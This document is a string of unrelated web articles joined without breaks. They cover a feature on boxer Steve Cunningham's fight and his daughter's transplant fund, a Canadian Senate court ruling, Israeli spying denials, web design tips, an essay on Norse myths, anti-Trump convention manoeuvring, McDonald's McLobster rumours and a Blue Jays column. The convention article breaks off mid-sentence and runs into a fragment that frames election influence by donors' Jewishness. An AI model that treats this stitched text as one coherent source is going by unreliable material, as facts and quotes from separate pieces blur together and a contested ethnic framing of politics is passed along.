“People say, ‘Oh, you getting that heavyweight money,’” Cunningham explains. “Like there’s some huge difference between cruiser and heavy. It’s not like that at all.” Cruiserweights draw little attention in the United States, but in Europe, Cunningham could command a $200,000 purse to defend his championship. But after he lost his belt, the opportunities dried up. Matchmaking in boxing often boils down to the risk/reward balance presented by an opponent. Without the belt, a top cruiserweight contender like Cunningham, with no following in his home country, meant too much risk and not enough reward for European fighters. Plus, Cunningham was already in his mid-thirties by the end of his cruiserweight run, and fighting his way back up the rankings to earn a mandatory title shot could take years.
“No one wanted to fight me,” Cunningham says. If he didn’t return home as a heavyweight, he might have to retire.
So Cunningham moved up. Now, at 208 pounds, he believes himself to be the smallest heavyweight in boxing. “They’re all bigger, and they’re all stronger,” says Richardson, his trainer. “So the question is whether he can be faster and smarter.” Cunningham won his first heavyweight bout but lost his next two. Tomasz Adamek beat him in a controversial split decision that many boxing observers believe Cunningham deserved to win. In Cunningham’s next fight, he lost to 6-foot-9, 250-pound undefeated Irish Traveller Tyson Fury by seventh-round knockout after Cunningham scored a knockdown in the second round and seemed on the verge of a huge upset. Fury set up the final left hook that flattened Cunningham with a stiff forearm to the face, and Cunningham argued the punch was illegal, but the result stood. As a cruiserweight fighting mostly in Europe, Cunningham had made decent money and lost only four matches. Now, in less than a year at heavyweight, he never earned more than $70,000 for a single fight and he’d already lost twice.
Which brings us back to Cunningham’s bout against Mansour. “He was changing,” says Livvy about the way her husband viewed the sport. “The Fury fight made him start to question things. You give so much, and you risk so much, and for most boxers out there, you make peanuts. That was when he first started to question if it was really worth it.”
Weeks before the fight, the Cunninghams had talked with their doctors. Kennedy was no longer a candidate for the third surgery, they said, because her pulmonary arteries were too small and her heart had developed a leaky valve after the previous operations. The family looked for other options. Maybe she could get a heart transplant? Sure, maybe. But her physician at Children’s Hospital of Philadelphia said that a transplant would be too dangerous. Kennedy’s lung problems, dating back to when she was an infant hooked up to a bypass machine, meant that she had developed extra blood vessels in her chest. Cutting her open would put her at high risk of dying in surgery from loss of blood. “It would be irresponsible,” Cunningham remembers the doctor saying.
“Basically,” Cunningham remembers, “they advised us to take her home and make her comfortable.” The Cunninghams wanted a second opinion. But first, Steve had to fight. “I couldn’t even imagine going through that until after the fight,” says Livvy. “The stress of a fight already takes over our entire world.” So they waited. Cunningham fought. And in the fifth round, he went down.
David Spagnolo
“Get up, Steve!”
Livvy yelled it because she already knew that he would. In fights, she feared first for her husband’s safety, then for his goals and his dreams, and then for their family’s financial stability. If he needed to stay down, she understood. But she’d seen the look in his eyes, seen that he was still there, that he still had his wits about him, and she looked to his corner and followed Richardson’s lead.
“We can win this fight!” Richardson yelled. “Get up, and let’s win this fight!”
Cunningham got up. (Mansour believed that referee Steve Smoger gave Cunningham more than 10 seconds to rise from each knockdown.) Seconds later, the bell ended the fifth round, and moments after that, Cunningham emerged from his corner transformed. He spent a minute bouncing around the ring, dodging punches and buying time, allowing himself to regain his senses and his legs. As the round wore on, Mansour kept punching air. He would lunge, and Cunningham would dodge, and then he’d stick Mansour with quick jabs and crosses. As the sixth round came to a close, the whole fight seemed to change. Mansour was getting tired. Cunningham was just coming to life.
And so it went. Cunningham survived the sixth, then the seventh, and by the eighth round, he’d assumed control of the action. Mansour’s left eye had swollen nearly shut. He lunged as Cunningham skipped around the ring, again and again, landing counters when Mansour left himself open. In the ninth round Cunningham built his lead. In the 10th he caught Mansour off-balance and scored a knockdown, enough to put the fight away on the scorecards. At the final bell, the two fighters stumbled toward each other for an emotional, wobbly embrace. It was a moment of mutual congratulation. Only one of them could win, but after 10 rounds of exhaustion and agony, at least they’d both survived.
Cunningham saluted the crowd, then kissed Mansour on his bald head. The PA announcer made it official. By unanimous decision, Cunningham had won. There would be more fights, more motivation to keep going. It wasn’t time to retire — not yet. With the bout behind them, the Cunninghams could focus on finding a second opinion on Kennedy’s transplant. One crisis had been averted. Another could be dealt with head-on.
But no one expected what came next. Moments after the fight, Mansour spoke with NBCSN’s Chris Mannix. “He was the better man tonight,” the boxer said. “He was the tougher man.” Mansour was gracious in defeat, but he didn’t stop there. “All y’all out there,” he said into the camera. “He’s having problems with his daughter. So hopefully everybody, you know, says some prayers for his daughter. And you already know how health care is, so you know, find him on Facebook and, you know, donate some money to his family and help him.”
The Cunninghams had never considered taking donations. They’d never needed them. Insurance had covered Kennedy’s health care costs — which totaled in the millions — all her life. But the next morning, Steve woke up to Facebook messages from strangers: How can we help? they asked. Where do we send the checks?
They got phone calls, letters, emails. People around the world had seen the fight. They’d seen the way Cunningham fought, the way he and Mansour embraced. They’d heard Mansour speak so lovingly of his opponent, clear-headed in his admiration for the man who’d just beaten him, even in the post-fight fog. They wanted to help Kennedy get her heart.
And soon enough the Cunninghams found themselves in need of money. They met with doctors in Pittsburgh who agreed to add Kennedy to their transplant list. But it wasn’t enough for her to make the five-hour commute from Philly. Once Kennedy hit the list, she needed to stay within a four-hour drive of Pittsburgh. A call could come at any time, day or night, with an O positive heart and a window for a transplant. They couldn’t risk being too far away.
So Livvy and Kennedy moved to Pittsburgh, with plans that Steve and the boys would soon follow. But they already owned property in Philly. And Cunningham’s earnings from boxing had dipped significantly since he moved to heavyweight. He couldn’t afford the rent on another house. That’s when they remembered the outpouring of support after the Mansour fight. Maybe we can start a fund, they thought. Maybe that was the way to finance Kennedy’s care while living within their means.
They set up a fund at heartbyfaith.com. Within hours, donations came pouring in. Friends donated. So did family and strangers. The International Boxing Federation (IBF) gave $1,000. Cunningham’s European promoter, with whom he’d had a previous falling-out, gave $5,000. Some boxers sent Steve checks but asked to remain anonymous. Every donation sent Livvy an automated email, leaving her to sit in front of her computer, tearing up at the numbers on the screen. Within two weeks, they’d received $20,000. They would reach their goal of $25,000. All that was left was for Kennedy to get her heart.
David Spagnolo
Now it’s early October in North Philly, and Cunningham walks into the gym at Rock Ministries on Kensington Avenue. Just outside, dealers and fiends exchange goods and funds under an overpass. This is one of the city’s most desperate neighborhoods, a place the Daily Beast called a “ghoulish world of addiction and prostitution” that “exists outside the law.”
It’s also where Cunningham trains. “I love it here,” he says. “You go to bigger, nicer gyms, and someone might spy on you. No one’s gonna spy on you here.” He has a fight this Saturday against 10-0 Natu Visinia. It’s a “stay-busy” match, something to keep Cunningham’s skills sharp until he finds a more established opponent and a bigger payday. But still, this is the heavyweight division, and one punch, even from a slower, less experienced boxer (as Visinia is to Cunningham), can knock a fighter out.
Richardson walks in wearing a robe and a taqiyah, the skull cap that signifies his Muslim faith. He puts on some music — first oldies, then rap — and he sends Cunningham into the ring. The fighter punches and dodges and moves. For an hour they go through drills, and then into push-ups and torturous core workouts involving a soft, fat medicine ball.
“They bigger than you,” Richardson says, referring to damn near every heavyweight in the world. “And they stronger than you. But are they faster than you? Are they smarter than you? Are they in better shape than you?” Each question is posed as a challenge. The more Cunningham sweats and grunts, the louder Richardson gets.
Between sets, Cunningham parents. His sons, 11-year-old Steve Jr. and 3-year-old Cruz, are with him in the gym. “You wanna do push-ups?” he warns anytime he sees them breaking rules. Training and punishment can be one and the same.
One more week. That’s it. One more week and the family will be back together. After Cunningham fights Visinia, he and the boys will move to Pittsburgh to join Livvy and Kennedy and wait on a call that could come at any moment. All are hoping the timing works out. Says Kennedy: “I can’t go to the hospital yet. I have to watch my daddy fight.”
She says this several days later, sitting with Livvy on the couch in their new apartment. She’s wearing a denim jacket and a side ponytail. Her clothes cover the scar that stretches down her torso, and without the small tracheotomy hole at the base of her neck, you would see no signs of the struggles she’s faced. She likes Pittsburgh. They have a yard, and their neighborhood is quiet, and for the first time in her life, Kennedy gets to be home-schooled. But they’re eager for that call and the surgery that will come with it. They know the risks. They believe they’ll be OK.
Kennedy will be ringside Saturday night, watching her father fight for her life. The bout, at Philadelphia’s 2300 Arena, is far from Pittsburgh, but the Cunninghams have a plan to charter a flight if they get the call for the transplant during the bout. Until then, she’ll pass the days with schoolwork and Nickelodeon and computer games, with occasional intermissions to sing Beyoncé songs on a home karaoke machine. At night, just before bed, she usually pulls out her iPad. She Googles her father and pulls up one of his marquee wins — Krzysztof Wlodarczyk, Marco Huck, Amir Mansour. Only Saturday, against Natu Visinia, the action will be live, the violence will be real.
“I don’t like the part where he gets knocked down,” she says. She does, however, like the part where he gets back up.
This article has been updated to correct Kennedy Cunningham’s age to 9 and to reflect that Kennedy will indeed be ringside for Steve Cunningham’s fight on Saturday in Philadelphia.A court challenge over a prime minister's right to leave Senate seats vacant indefinitely has been dismissed as moot.
The challenge by Vancouver lawyer Aniz Alani was launched in late 2014, when then-prime minister Stephen Harper made it clear he had no intention of filling Senate vacancies.
But Federal Court Justice James O'Reilly says the grounds for Alani's case evaporated once Justin Trudeau became prime minister last fall.
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Trudeau created an independent advisory board to recommend non-partisan Senate appointees and has already appointed seven senators under the new process, with plans to fill the remaining 21 vacancies by the end of the year.
Alani had sought a court declaration that the prime minister has a constitutional obligation to fill Senate vacancies within a reasonable time.
Regardless of the change in government and approach, he had argued that it's still important for the court to clarify whether the prime minister has absolute discretion to fill Senate vacancies when – or if – he chooses.
O'Reilly disagreed.
"The case before me is inextricably connected to the moratorium on Senate appointments announced by the former prime minister," he said in a ruling released Thursday.
"That moratorium is clearly over. There is no live controversy remaining between the parties. Mr. Alani's case is moot."
O'Reilly further ordered Alani to pay the government's legal costs.
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The justice did not rule on the merits of Alani's case, saying that would have required "weeks of analysis and writing" – time that could be better spent on cases where there is "a concrete and significant dispute that demands timely resolution."
"In addition, it is hard to see a significant social cost that the Canadian public would bear if the question Mr. Alani has raised went unanswered for now," O'Reilly added.
"Given the current circumstances, an answer may not be needed for several years, if ever."
Harper stopped appointing senators in March 2013, amid the Senate expenses scandal; there were 22 vacancies in the 105-seat chamber by the time Harper's Conservatives lost power last October. More seats have since fallen vacant as senators have retired.JERUSALEM — Three top Israeli ministers on Tuesday denied a report that their intelligence services had spied on the closed-door negotiations over Iran’s nuclear program, as tensions continued to mount between Washington and Jerusalem.
“There is no such thing as Israel spying on the Americans,” the defense minister, Moshe Yaalon, said at a pre-Passover toast, according to a transcript provided by his office. Mr. Yaalon said he had checked and found no complaint from the United States to Israeli intelligence services about such spying. “There is a strict prohibition on that,” he said.
Yuval Steinitz, the minister for strategic affairs, who is in Europe lobbying officials about the Iran talks, said on Israeli television that “these claims are baseless and we reject them outright.” Avigdor Lieberman, Israel’s foreign minister, called the report in The Wall Street Journal on Tuesday “incorrect and inaccurate,” but hinted that Israel may have gleaned information about the talks from spying on the Iranian side.
“Clearly, the State of Israel has various security interests, and clearly we have good intelligence services,” Mr. Lieberman said on Army Radio. “We do not spy on the United States. There are enough elements involved, such as Iranian elements, first and foremost.”18
Feb
2014
10 Useful Tips for Web Designers
Tomas Laurinavicius:
I have been designing for over 5 years and always wondered how to learn more and get better at what I love to do. Internet is full of advices and tutorials but most of the resources are low quality, repetitive and offer just a surface-level knowledge. So there you have it, I have made a list of top 10 tips that in my opinion are very important for every web designer.
1. Think about the end user
I have been doing this mistake for a long time, and honestly still catch myself designing for my personal taste and preferences rather than thinking about the end user. Once I was designing a website for a real estate investment company and wanted to use all the fancy flat color palettes, spiced up with some parallax transitions and custom fonts, because I like it, but thinking about the potential investor I have decided that they don’t give a s*it about the newest technologies, most likely website will be displayed on a crappy Internet Explorer which will hopefully at least load the website. Check out this cool UX Crash Course to learn more about user experience and user centered design.
2. Don’t reinvent the wheel
I won’t blame trends and amazing community on Dribbble and Behance but they influenced me to recreate things when it is totally unnecessary. Everything is a remix, so don’t be afraid to take what works from other designers and apply it to your work. You should definitely consider using methods and patterns that are proven and work. Check the web design conventions and browse through design patterns sites like PatternTap.
3. Get your colors right
I can’t advice you much on getting colors right, as I am always struggling getting that nice winning color scheme for my projects but you should definitely spend more time on selecting a color scheme. For color scheme inspiration I browse Dribbble, COLOURlovers and Kuler. One thing that certainly makes your design work better is using less colors. Have a strong focus on one or two colors and use neutral colors like white, grey or black. Most successful brands are usually associated with one or two colors, think Coca-Cola, Microsoft, McDonalds, Ferrari.
4. Get typography right
Most content on the web is text. If you are able to master typography which is a key of functional and aesthetic web design you will reach the stardoms of your career. Most important things I’ve learnt would be to use more white space than you do now, after that use even more. Make sure you create a visual hierarchy using different weights and sizes of the typeface. Always test contrast and legibility, especially on smaller screens, including smartphones and tablets. Once again, using less fonts will lead you into more professional and beautiful end product.
5. Use outstanding images
Images are probably second most important thing after typography. Visuals on your website communicate with the user instantly conveying message that is usually perceived unconsciously so make sure that the images you have chosen complement your content rather than conflict with the main aim of the website. Getting great looking photos takes a lot of time and money if you buy from stock websites. For the last couple of months I have noticed a trend among creatives of using really visually appealing photography. I have made a list of 15 best websites for getting free nice looking photos for your designs. 15 Best Free Stock Photo Websites
6. Keep it simple, stupid
You need to grow up as a designer to realize that using less colors, fonts and images will make your design timeless and more usable. There is a beautiful quote on perfection and minimalism: “Perfection is achieved, not when there is nothing more to add, but when there is nothing left to take away.” - Antoine de Saint-Exupery
7. Get little details right
Getting smallest pieces of the design (like rounded corners done right) make a significant difference in the big picture. Things that I value the most are pixel perfection, consistency and intuitive user interface. For brilliant UX design observations check Little Big Details.
8. Optimize your workflow
If you are a designer you are probably use one or another graphics editing software on a daily basis. Get little things optimized to improve performance of the software which will lead in a better efficiency and joy of work. Optimize photoshop performance, create and reuse templates for website layouts, clean up your resources folder, delete unused fonts. Check out this article by Jacob Cass on a professional designer’s workflow.
9. Think about business goals and persuasion
Great design converts… into customers, sales, fans, comments, shares, anything that business wants it to convert. Read more about persuasion and design techniques that get more conversions. Getting right color and position for the call to action buttons, clear typography and intuitive user interface are just a couple aspects of a design that converts. Check GoodUI, a wonderful ongoing list with practical tips on how to make your design convert better, curated by Jakub Linowski.
10. Design great “above the fold” area
The term comes from print and more precisely from newspapers industry. You know how you fold your newspaper into half? The visible top area is called “above the fold” area, where bottom part is “below the fold” area. Above the fold area in web design is usually the resolution of the visitor’s screen. If user scrolls to see something, it’s already below the fold area. Getting this thing right, I’d say to include your logo, navigation, main message and call to action button above the fold, otherwise visitors may not find your website engaging and leave never coming back. Above the fold area is your selling proposition for the first time viewer, so make sure you put striking imagery and message at the top of the website rather than hiding it somewhere in the middle. Check this infographic on “above the fold” design.
These are the things I’d advice you to learn or dig deeper. Most of the advices are general but I’ve tried to provide you as much actionable tips and reading resources as possible. How is your design philosophy different?Norse myth tends to echo; one story calling to another. There are at least three stories in Norse myth about a young man passing through a wall of flames and other hazards to reach a woman. This would seem to be a straightforward story of a woman sought and won, except that in two of these stories the young man is a stand-in for another, and only one story has a happy ending.
Menglod
Menglod’s story is the most straightforward of the three, as it begins and ends where we, who have been raised on fairytales, expect it to. As told in the Eddic poem Svipdigsmal, young man named Svipdag is cursed by his evil stepmother, to never marry unless to Menglod. We then learn that Menglod’s castle is far away and difficult of access, so Svidpag consults his dead mother, who blesses him with nine charms:
5. “Charms full good | then chant to me, mother,
And seek thy son to guard;
For death do I fear | on the way I shall fare,
And in years am I young, methinks.”
He then proceeds to the castle, where a surly gatekeeper outlines the conditions that must be met before Svipdag can enter. These are depressingly circular – he needs to complete the last task before he can accomplish the first – but then the keeper says that if his name was Svipdag (our hero is travelling under a false name) none of this would be necessary.
At this the hero reveals his true identity, and the wall of flames part, the doors open, and Menglod and her women rejoice:
66. “Alike we yearned; | I longed for thee,
And thou for my love hast longed;
But now henceforth | together we know
Our lives to the end we shall live.”
The Eddic poem ends with these lines, a variant of the happily-ever-after formula that we’re all so familiar with. It’s not ever explained, however, why Menglod was languishing around waiting for Svipdag to show up. She seems to be in the story just so that he can be sent on a quest. Perhaps she was cursed too, like Sleeping Beauty?
We’ll never know, because the story is focused on Svipdag, who is a remarkably passive hero – a curse sends him to seek Menglod, and even then he needs his Mom to help him do it.
Brynhildr
Although we know that Menglod is destined for Svipdag, and seems to be pleased about that, we don’t know who set up the fiery wall and fierce dogs that guard her from the outside world. In Brynhild’s case, we know: Odin did it to punish her. (The story is related in the Volsung Saga, and also in a series of Eddic poems, although it helps to read the saga, or a summary, first to understand them.)
Brynhild was a valkyrie who angered Odin by favouring a king he wanted for Valhalla. For this, Odin reduced her to a mere mortal, and imprisoned her in a remote castle on top of a mountain, surrounded by flames. There she had to stay until a mortal man rescued her.
When Sigurd breached the wall of flame, and lay with Brynhild (chastely, with a sword between them) Brynhild naturally thought she had found someone whose courage and will match hers. But Sigurd was already married to Gudrun, and he wooed her disguised as his brother-in-law, Gunnar.
Brynhild didn’t find out about this until she married Gunnar, and then only by accident. This discovery precipitates a series of tragic events. First, she incited her husband to kill Sigurd, then she killed herself as well. (Some versions of the story also include details of how much she despises Gunnar once she learns the truth about him.)
Her suicide returned her to her original, heroic, nature. The poem Helreith Brynhildar, a dialogue between Brynhild and a giantess, justifies her actions:
14. “Ever with grief | and all too long
Are men and women | born in the world;
But yet we shall live | our lives together,
Sigurth and I. | Sink down, Giantess!”
So they do end up together, or at least Brynhild expects to meet him in the afterlife. Which reverses things nicely, since now she is going forth to seek him. This fits with Brynhild’s nature, which is closer to the heroic ideal that also motivates Sigurd.
Gerdr, the Reluctant
The Eddic poem Skirnirsmal also features a stand-in: the god Freyr, love-sick for the giantess Gerdr, sent his servant Skirnir to convince her to grant him her favours. However, as Carolyne Larrington puts it, Gerdr is like a Menglod who’s been reading maiden-king romances. Like those heroines, she was in no hurry to marry.
Indeed, once Skirnir made his way past a surly herdsman, and a wall of flame, he found that Gerdr was not minded to leave her father’s hall, and unimpressed by what Skirnir and his master can offer her:
22. “The ring I wish not, | though burned it was
Of old with Othin’s son;
In Gymir’s home | is no lack of gold
In the wealth my father wields.”
As well as Odin’s ring Draupnir, he offered her Idunn’s golden apples, which might not have been the wisest choice. Gerdr would no doubt remember another giantess, Skadi, whose father died at the hands of the Aesir, and whose marriage to Freyr’s father ended in divorce.
It’s only when Skirnir threatened her with a magical curse that she gave in, and then only reluctantly. (A parallel between Freyr and Svipdag is that others do all the magical work for them.) She mustered up a last spark of resistance, however, by making Freyr wait for nine nights before she’ll meet him.1
Clearly, Gerdr was comfortable in her own dwelling, with her own family, and wasn’t waiting around for some god or hero to turn up. And yet, most interpretations of the myth either offer a “nature-myth” reading: that the frozen earth must be warmed and fertilized by the sun and fertility god, or else the writer contorts the story to somehow make Freyr out to be a “good god” who wouldn’t really force a woman to sleep with him.
My main objection to the first one is that no one ever asks the earth if she wants to be fertilized, or even if she has a preference for one “sun-ray” over another. She just lies there and takes it, I guess, since the ground can’t get up and walk away. (John Hnefnell Adalsteinsson has suggested that her disdain for Freyr may echo Freyja’s horror in Thrymskvida at the idea of marrying a giant.)
As for the second objection, the only real difference between Odin and Freyr is that Odin does his own dirty work, while Freyr makes his servant do it for him. The coercion in Skirnirsmal does fit rather oddly with Tyr’s assertion in Lokasenna that “He harms not maids | nor the wives of men” (37), but I suppose you could argue that Gerdr did consent – eventually.
The poem as a whole, however, upends the whole idea of woman-as-reward by having the woman in question reject the whole idea. Gerdr makes it clear that she is no prize, and certainly not sitting around waiting for a rescuer.
Both Menglod and Brynhild have to sit around waiting for a man to rescue them, but while Menglod seems to get the happy ending we associate with these stories, Brynhild’s story turns to tragedy because of Sigurd’s betrayal. Gerd on the other hand, simply refuses to play. She doesn’t need a man, and she certainly doesn’t need a rescuer. (The “rescuer” is exposed when he quickly turns from noble speech to threats and curses.)
Just as Skadi’s story upends the bridal-quest genre by making the quester a woman, and the marriage a comical failure, Gerd’s story presents us with a hero who breaches the fortress only to discover that Sleeping Beauty isn’t interested. Perhaps making a giantess the heroine of the story opens the door to these sorts of inversions.
1. The nine nights may be another reference to Njord and Skadi, who spent nine nights in each other’s home, only to discover that each hated the other’s residence.↩
References:
Adalsteinsson, Jon Hnefill 1990: “Gods and Giants in Old Norse Mythology”, Temenos 26: 7-22.
Frank, Roberta 2007: “The Lay of the Land in Skaldic Praise Poetry”: in Myth in Early Northwest Europe, ed. Stephen O. Glosecki, Arizona Studies in the Middle Ages and Renaissance 21: 175-196.
Larrington, Carolyne 1992: “What Does Woman Want? Mær and munr in Skírnismál.” Alvíssmál 1: 3-16. (pdf here)
Motz, Lotte 1975: “The King and the Goddess: An Interpretation of Svipdagsmal“, Arkiv för nordisk filologi 90:133-150.
Simek, Rudolf (trans. Angela Hall), 1996: Dictionary of Northern Mythology, D. S. Brewer, Cambridge.
Links:
Svipdigsmal: a Study Guide
The image at the top is of Hilary Swank with an Oscar, which she won, and was not about to hand to someone else.(Mike Segar/Reuters)
Trump’s foes will probably get a hearing on the convention floor. But without an organization or a candidate to replace him, they’re unlikely to achieve their goal.
Twenty-eight. That’s how many — or more accurately, how few — delegates it would take to throw the Republican National Convention into at least temporary chaos next month.
Murmurs of an organic, delegate-led move to snatch the nomination from Donald Trump are growing. And though the odds of success remain slim, the chance that the 2,400-plus delegates assembled at the convention in Cleveland will vote on a rule that frees them from their obligation to vote for a particular candidate on the first ballot — thereby allowing them to nominate an alternative to Trump — is not. That said, a lack of organization and the absence of an alternative to Trump are likely to stymie the effort.
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“Four weeks ago it was strictly Timothy Leary land: no basis in reality,” says one RNC delegate, referring to the psychologist and advocate of psychedelic-drug use. “Two weeks ago, some folks started thinking about it late at night, and today, I think more folks are entertaining the possibility. If it’s a hundred-yard dash, it’s moved from a few inches to maybe a few yards.”
Any effort to wrest the nomination from Trump at the last minute would have to start with the RNC’s 112-member Rules Committee, which will convene in Cleveland just days before the convention kicks off on July 18. What has been mostly overlooked is that RNC rules require the support of just a quarter of Rules Committee members — 28 of them — to issue what’s known as a “minority report,” which would throw the matter of unbinding delegates to the convention floor for an up-or-down vote. That in and of itself would cause a stir on the first day of the convention.
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Convincing a majority of the 2,472 delegates on the floor to pass the rule would be a much heavier lift. Despite political and philosophical concerns about Trump among many convention delegates, there is no real organizational muscle behind the jumble of inchoate efforts to dump Trump. Colorado delegate Kendal Unruh is leading one group. Steve Lonegan of New Jersey, who served as state director for Ted Cruz’s presidential campaign, is spearheading another. And then there’s North Dakota delegate and Rules Committee member Curly Haugland, who has taken no position on Trump but has long opposed the binding of delegates, on principle.
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“That kind of nebulous organization is very difficult to rally around and organize around,” says Saul Anuzis, the former chairman of the Michigan GOP who is a delegate to the convention this summer and who, like Lonegan, previously worked on Cruz’s campaign.
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As a result, delegates say that anti-Trump efforts are likely to hit a snag on the convention floor: Without high-profile leadership and a deeply experienced whip operation, wrangling a majority of the 2,400-plus delegates on the first day of the convention, when a vote would take place, would be a monumental and nearly impossible task.
“In my view it’s a pipe dream,” says Steve Duprey, a delegate from New Hampshire. Steve Scheffler, a Rules Committee member from Iowa, says, “I don’t think it’s going anywhere, and I think it is ludicrous that anybody would be involved in that kind of thing.... If that were to happen, it would create friction in the party that couldn’t be healed for ten, 15, 20 years.”
What all the efforts lack beyond infrastructure and cash is a candidate who would replace Trump as the nominee.
What all the efforts lack beyond infrastructure and cash is a candidate who would replace Trump as the nominee. “You can’t beat somebody with nobody,” says Anuzis. “There are only a few people who could rally the conservative base on the floor of the convention.” That group includes Cruz and Walker. But, he says. “There’s no rallying point, there’s no focus, there’s just a desire to educate delegates in the event that they might have a choice or a choice emerges. And as of today, a choice is just not there.”
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Nonetheless, though many Rules Committee members say they aren’t familiar with the provision allowing for a minority report, Randy Evans, a longtime RNC committeeman and Rules Committee member from Georgia, says he thinks the issuance of a minority report that opens the unbinding of delegates to debate on the convention floor is likely. As Evans sees it, the Rules Committee is composed of three factions: a pro-Trump group, which he says is the largest; a contingent of party regulars, activists, and donors without an allegiance to any candidate; and a group of solid Trump opponents, which he says is the smallest of the three but will almost certainly still have the 28 votes to move a motion to the convention floor. (Some of the members who will constitute the Rules Committee in Cleveland are not yet known. The committee consists of two members, a man and a woman, elected or appointed by each state’s delegation, and a handful of states have not yet selected committee members.)
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This week’s revelation, in fundraising numbers released by the Federal Election Commission, that Trump had a paltry $1.3 million on hand as of May 31, raised alarm among Republican heavyweights and added some energy to the movement to stop the party’s presumptive nominee. “No matter how odious you are, no matter how awful you are, you can be forgiven, but one thing that’s not forgiven is the money,” says a |
determined to preserve the US lockstep with Israel, and their party identification isn’t all that important (Zuckerman voting for Obama). Which is why Hillary Clinton has maintained that lockstep, and baited Bernie Sanders for wanting to put Iranian troops on Israel’s “doorstep.” And maybe too why Bernie Sanders is a weenie on these issues. And why Marco Rubio has made the very smooth transition from the Tea Party to the Coffee Party.
Last week, the Forward’s Josh Nathan-Kazis boldly reported that 8 of 12 backers of that big superpac that Hillary Clinton is using to go after Sanders in South Carolina are Jews, and a ninth is married to a Jew. Several of those Jews are big supporters of Israel: Saban, George Soros, Steven Spielberg, S. Daniel Abraham, and Jeffrey Katzenberg. (Though Soros has said that he is not a Zionist, he has backed liberal Zionist organizations out of concern for Israel’s future.)
You hear the press talk about evangelical Christians constantly on television. Right now only the Forward and Alternet, Lobelog, and I are talking about these Jewish political forces, though they are clearly going to shape the election. Journalists should take a hint from Haim Saban. If you’re worried about the Koch Brothers and the Tea Party, you should also worry about the Coffee Party, and its Democratic counterpart.Why you won't be getting your claws into a McLobster
McDonald's deny rumours popular Canadian snack will be rolled out across the U.S.
Rumours that McDonald’s plans to roll out its elusive McLobster across the U.S. have left Twitter fans waiting with bated breath.
The McLobster, described as a 'disturbing mix of lobster and bread smothered in white McLobster sauce', is only available in Canada and as a seasonal speciality in Maine.
Twitter was today abuzz with speculation that it will be more widely available. Sadly, McDonalds felt it necessary to quell the rumours.
Scroll down for video
Shell out: but the McLobster will sadly not be rolled out across the U.S.
Its answer to one query was: 'Crustaceans everywhere are rejoicing... there are no plans to bring McLobster or McSushi to our US menu.'
Then the company became a bit more bullish: 'Despite all the rumors there r no plans 2 bring mclobster or mcsushi 2 the US menu. We r working on a new menu item called McWinning.'
It then explained that there are a few places you can find the McLobster from time to time: 'Yep! There r a few McD's on the east coast that may serve it time 2 time - but we don't have any plans to roll out nationally.'
Here is what appears to be the original McDonald's commercial for the McLobster.It was the late innings in late September at Camden Yards, with the Blue Jays about to clinch their first AL East title since 1993. The fans who comprise the Jays’ unique travelling show began a chant. It wasn’t the usual “Jose... Jose, Jose, Jose” or “M-V-P, M-V-P.” Instead, it was 500 joyous fans in a foreign land chanting “Thank you, Alex,” a tribute to GM Alex Anthopoulos. Something like that never happens.
Toronto Blue Jays general manager Alex Anthopoulos, addresses the media at the Rogers Centre on Monday, the weekend after his club was eliminated from the playoffs. ( Melissa Renwick / Toronto Star )
Of course, Rogers ownership surely did not see that one coming when they made their first clumsy attempt last Dec. 9 to replace outgoing president Paul Beeston with a “baseball-first” incoming CEO — leading to the yet-to-be-corrected impression that Anthopoulos is now a lame-duck GM. It was late July, with the Jays sitting at 50-51. First came the news Anthopoulos had traded for all-world shortstop Troy Tulowitzki and managed to pawn the ever-stiffening glove of Jose Reyes onto the Rockies. Less than 24 hours later came news that David Price, the most desirable starting pitcher on the deadline trade market, was making his way through the tunnel from Detroit for a meeting with the men on the other side. The Jays suddenly had an ace. The result was a re-energized clubhouse teeming with consummate pros and an eventual berth in the post-season snapping a 22-year drought. Of course, Rogers ownership surely did not see that one coming, because through the first two months, Anthopoulos was ranked anywhere from 29th to last among effective MLB GMs. But the die was already cast with incoming president Mark Shapiro, who will be taking over Nov. 1.
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It was Aug. 7 at Rogers Centre when Jays fans realized the horsehide magic that was happening and started to attend games in numbers not seen in 22 years of mediocrity. The Jays ended the season with 30 straight crowds of 40,000-plus, with replica jerseys and Jays hats flying off the shelves for the new guys like Tulowitzki, Price and for the old guys like Jose Bautista and Edwin Encarnacion. Then one day in late August against the Yankees, the Jays’ TV audience was 1.6 million viewers on a Friday night compared to the YES Network’s measly 600,000. Of course, Rogers ownership did not see that coming when they negotiated with Shapiro to migrate from a similar role in Cleveland, apparently promising him final say on player personnel matters. The Jays landscape has changed drastically since last Dec. 9, with Anthopoulos now a heroic figure in the GTA and across the country. Tough to inform him now there’s a new sheriff in town. Anthopoulos’ contract ends on Halloween and Shapiro starts the next day. Trick or treat? “I can say that it has been my decision not to have any discussions with respect to that, because of the post-season, out of respect for what we were trying to do,” Anthopoulos said. “I can’t speak highly enough of Mark Shapiro, Rogers Communications. They’ve given me that respect and they’ve given me that time. That will be addressed at the appropriate time. But I can’t stress that enough, that was my desire to let the post-season go on, let everyone enjoy what we were doing and certainly to not distract from what we were trying to do. It will be addressed in time.” Could it be Rogers may have to backtrack on promises made to Shapiro regarding his Putin-like influence on player personnel decisions? Or maybe he’ll do it on his own. Before he went into seclusion on anything Blue Jays, Shapiro reportedly told a national media type how excited he was to be getting back into player moves after years of allowing Cleveland GM Chris Antonetti trade autonomy.
If Shapiro has been promised he is going to be a Theo Epstein (Cubs), Dave Dombrowski (Red Sox) or Andrew Friedman (Dodgers) type president/CEO, with a far higher profile then his GM, that will not work with the Jays. Maybe last Dec. 9 that could have been the plan, but the landscape changed. “I continue to do the job the way I always have,” Anthopoulos shrugged. “I think I’ve been very adamant. I love Toronto, kids, school and all that stuff. (The job status) will get addressed.”
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It will never be about the money with Anthopoulos. His car and his house are paid for and anyone who has seen his news conferences on TV know he’s not spending his money on the latest in the David Beckham line of suits. But what should already have been a contract slam dunk with a multi-year extension is coming down to perhaps a tussle over the player personnel thing. It’s not the way MLB works. Nobody waits this late to confirm a GM. Other clubs have already filled front-office needs for 2016. If Rogers does not side with the Canadian kid when it comes to personnel moves, he’s on the street. If that happens, his MLB brotherhood will be dumbstruck and Rogers will just be dumb. Luckily for all of Anthopoulos’ lieutenants, their boss earlier in the summer locked them up to deals through 2016 — maybe seeing potential darkness on the edge of town. The post-season was a magical ride for this city and the country, but it could possibly end badly for Anthopoulos, the magician who pulled an ace from his sleeve and a rabbit out of his hat. He deserves more respect from Rogers but maybe this time they will actually see what’s coming.
